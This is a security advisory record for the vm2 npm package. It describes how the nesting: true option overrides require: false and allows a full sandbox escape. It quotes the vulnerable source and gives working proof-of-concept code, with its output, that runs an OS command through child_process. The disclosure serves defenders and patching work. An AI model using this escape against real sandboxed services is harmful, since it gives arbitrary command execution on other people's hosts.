{"id":"GHSA-8hg8-63c5-gwmx","summary":"vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution","details":"### Summary\n\nWhen a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require('vm2')` regardless of the outer VM's `require` configuration — including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised.\n\n### Details\n\nThe vulnerability is in how the `nesting: true` option interacts with the legacy module resolver.\n\n**`lib/nodevm.js:96-99`** — `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox:\n\n```js\nconst NESTING_OVERRIDE = Object.freeze({\n  __proto__: null,\n  vm2: vm2NestingLoader\n});\n```\n\n**`lib/nodevm.js:268-269`** — When `nesting: true`, this override is passed into the resolver factory alongside the host's `require` options:\n\n```js\nconst customResolver = requireOpts instanceof Resolver;\nconst resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(\n  requireOpts,\n  nesting && NESTING_OVERRIDE,  // ← injected when nesting:true\n  this._compiler\n);\n```\n\n**`lib/resolver-compat.js:193-197`** — This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`:\n\n```js\nfunction makeResolverFromLegacyOptions(options, override, compiler) {\n  if (!options) {\n    if (!override) return DENY_RESOLVER;  // require:false, no nesting → deny all\n    // BUG: require:false + nesting:true reaches here\n    // override (NESTING_OVERRIDE) is applied, making vm2 available\n    const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);\n    return new Resolver(DEFAULT_FS, [], builtins);  // vm2 is now requireable\n  }\n  // ...\n}\n```\n\n**`lib/builtin.js:102-106`** — `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist:\n\n```js\nif (overrides) {\n  const keys = Object.getOwnPropertyNames(overrides);\n  for (const key of keys) {\n    res.set(key, overrides[key]);  // vm2 always injected when nesting:true\n  }\n}\n```\n\nThe result: `require('vm2')` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses — unconstrained by the outer VM — and reaches `child_process`.\n\nThis was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that \"scripts can create a NodeVM which can require any host module,\" but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction.\n\n### PoC\n\n**Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).\n\n```js\nconst { NodeVM } = require('vm2');\n\n// Host intends: nesting enabled, but require completely disabled\nconst vm = new NodeVM({ nesting: true, require: false });\n\nconst result = vm.run(`\n  // Step 1: require('vm2') succeeds despite require:false on the outer VM\n  const { NodeVM: NVM } = require('vm2');\n\n  // Step 2: create an inner NodeVM with attacker-chosen require config\n  // This inner VM has no relation to the outer VM's restrictions\n  const inner = new NVM({ require: { builtin: ['child_process'] } });\n\n  // Step 3: execute arbitrary OS command in the inner VM\n  module.exports = inner.run(\n    'module.exports = require(\"child_process\").execSync(\"id\").toString()'\n  );\n`);\n\nconsole.log(result);\n// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...\n```\n\n**Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):**\n```\nuid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)\n```\n\nThe variant with `require: false` also works — the outer VM's require setting has no effect:\n\n```js\nnew NodeVM({ nesting: true, require: false }).run(`\n  const { NodeVM: NVM } = require('vm2');\n  module.exports = new NVM({ require: { builtin: ['child_process'] } })\n    .run('module.exports = require(\"child_process\").execSync(\"id\").toString()');\n`);\n// uid=1000(akshat) ...\n```\n\nNarrow builtin allowlists are also bypassed. `require: { builtin: ['path'] }` still allows `require('vm2')` when nesting is enabled.\n\n### Impact\n\n**Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.\n\n**What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.\n\n**Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not — `require: false` is silently overridden and the sandbox has unrestricted OS access.\n\n**Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.","aliases":["CVE-2026-44007"],"modified":"2026-05-14T20:50:12.713627Z","published":"2026-05-07T05:13:21Z","database_specific":{"github_reviewed_at":"2026-05-07T05:13:21Z","nvd_published_at":"2026-05-13T18:16:17Z","cwe_ids":["CWE-284","CWE-693"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44007"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.1"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/05/05/11"}],"affected":[{"package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.11.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-8hg8-63c5-gwmx/GHSA-8hg8-63c5-gwmx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"}]}